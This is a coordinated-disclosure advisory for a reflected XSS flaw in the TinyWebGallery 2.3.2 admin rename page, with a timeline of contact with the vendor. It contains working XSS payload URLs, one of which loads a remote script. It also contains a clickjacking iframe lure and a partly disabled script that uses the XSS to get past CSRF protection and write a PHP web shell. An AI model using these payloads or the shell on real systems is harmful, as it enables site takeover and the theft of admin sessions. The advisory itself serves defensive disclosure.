• Vulnerability: Reflected XSS
  • Affected Software: TinyWebGallery
  • Affected Version: 2.3.2 (probably also prior versions)
  • Patched Version: 2.3.3
  • Risk: Low-Medium
  • Vendor Contacted: 2015-05-26
  • Vendor Fix: 2015-06-15
  • Public Disclosure: 2015-06-27

There is an XSS vulnerability in version 2.3.2 of TinyWebGallery. It is relatively hard to trigger as it requires a double click by an admin (which can be achieved via clickjacking and social engineering), but once triggered, leads to code execution because of the provided file edit functionality.

The vulnerability is unlikely to be exploited in the wild because it requires quite a bit of social engineering; I’m publishing it because it is a nice example of how different small vulnerabilities can come together and lead to arbitrary PHP code execution.


Low-Medium; successful exploitation leads to arbitrary JavaScript execution, making it possible to steal cookies, inject JavaScript key loggers, bypass CSRF protection (and eg use the file edit to gain PHP code execution), etc. Exploitation does at a minimum require the victim to visit an attacker controlled website and double click.


/twg23/admin/index.php?action=rename&dir=&item=foobar" onChange="document.write('xsstest')" foo="&order=name&srt=yes&tview=no&sview=yes

To trigger this, visit the website and edit the text field.


Bypass character limitation

The attacker cannot directly use < or // in their attack, nor can they use some of the onX keywords like onMouseOver (because of replaceInput which throws an error for some characters and keywords), but this does not impact the damage an attacker can do. Here is an example of how to load a remote script:

/twg23/admin/index.php?action=rename&dir=&item=foobar" onChange="var myscript = document.createElement('script'); myscript.type = 'text/javascript'; myscript.src = 'http\\x3a\\x2f\\x2flocalhost/script.js'; document.getElementById('hidemenu').appendChild(myscript);" foo="&order=name&srt=yes&tview=no&sview=yes

Get victim to trigger XSS (eg via Clickjacking)

There are quite a lot of other events that could be used instead of onChange that are also not blocked, such as onSubmit, onDblClick, onDragDrop, etc. The attack does require a bit of social engineering, as the victim does not only have to follow a link, but has to be convinced to interact with the rename directory field in some way. The easiest way to achieve this might be with onDblClick in combination with clickjacking.

Here is a basic example (cursor tracking would further increase the chance that the victim triggers the XSS vulnerability):

<div style="position: absolute; left: 365px; top: 80px; pointer-events: none;">Double Click for Free Ipad</div>
<iframe style="opacity: 0;" height="500" width="600" scrolling="no" src="http://localhost/twg23/admin/index.php?action=rename&dir=&item=foobar%22%20onDblClick%3D%22var%20myscript%20%3D%20document.createElement(%27script%27)%3B%20myscript.type%20%3D%20%27text%2Fjavascript%27%3B%20myscript.src%20%3D%20%27http%5C%5Cx3a%5C%5Cx2f%5C%5Cx2flocalhost%2Fscript.js%27%3B%20document.getElementById(%27hidemenu%27).appendChild(myscript)%3B%22%20foo%3D%22&order=name&srt=yes&tview=no&sview=yes"></iframe>

An alternative for some older browsers could be the injection of a style attribute with expression() or background-image: url() which would not require any further actions on the part of the victim.

Gain Code Execution

It is now easy to gain code execution via the provided file edit, because we can bypass CSRF protection with XSS. A script to gain code execution might look like this:

// script is slightly edited to make it non-working, but the idea should be clear
    var csrfProtectedPage = 'http://localhost/twg23/admin/index.php?action=edit&dir=&item=info.php&order=name&srt=yes&tview=no&sview=yes&lang=en';
    var csrfProtectedForm = 'editfrm';

    // get valid token for current request
    var html = get(csrfProtectedPage);
    document.body.innerHTML = html;
    var form = document.getElementsByName(csrfProtectedForm)[0];
    var token = form.token.value;

    // build form with valid token
            += '<form id="myform" action="' + csrfProtectedPage + '" method="POST">'
            + '<input type="hidden" name="token" value="' + token + '">'
            + '<input id="return_to_dir" name="return_to_dir" value="1">'
            + '<input id="dosave" name="dosave" value="yes">'
            + '<input id="code" name="code" value="<?php passthru($_GET[\'x\']); ?>">'
            + '<input id="fname" name="fname" value="info.php">'
            + '</form>';

    // submit form

    function get(url) {
        // get the url

If the victim does visit an attacker controlled website, was logged in, and did double click anywhere, then the attacker can now execute arbitrary code via http://localhost/twg23/info.php?x=id.


    echo "<input type=\"hidden\" name=\"item\" value=\"".stripslashes($GLOBALS['__GET']["item"])."\" />\n";

    echo "<label for=\"newitemname\">".$GLOBALS["messages"]["rename_new"]."</label>&nbsp;&nbsp;&nbsp;<input name=\"newitemname\" id=\"newitemname\" type=\"text\" size=\"60\" value=\"".stripslashes($_GET['item'])."\" /><br><br><br></td></tr>\n";


stripslashes is not a proper defense against XSS (it just strips slashes), neither is the replaceInput function. htmlspecialchars($string, ENT_QUOTES, 'UTF-8'); on the other hand does prevent XSS in most cases, such as this one.


A couple of other code blocks are also of interest. I did not find a way to directly exploit them, but using htmlspecialchars around them would be a good idea just in case:

  • helper.php:859 (and also 854): echo "SHA256 hash value '" . $_POST['password'] . "': '" . sha2($_POST['password']) . "'"; the anti-CSRF token protects this against XSS, but as defense in depth it can’t hurt to add htmlspecialchars.
  • In the i_*.php files there are a lot of echo $_GET["PHPSESSID"] statements. I was unable to exploit this, but it does not seem safe.
  • in mysession.inc.php the key of GET is put directly into HTML. I was not able to exploit this because the space in eg i_rate.php?" onChange%3D"document.write('xsstest')" foo%3D"=foobar is replaced by an underscore. I could not find the place that this is happenening, but if an attacker can find a way around this, it would be exploitable.


  • 2015-05-26: Initial Report
  • 2015-05-27: Vendor Reply and Asking for Clarification
  • 2015-05-27: Clarification Send
  • 2015-06-14: Setting Latest Disclose Date (2015-06-28)
  • 2015-06-15: Vendor Confirmation
  • 2015-06-15: Vendor Released Fix, Asking for Confirmation
  • 2015-06-16: Fix Confirmed
  • 2015-06-28: Disclosed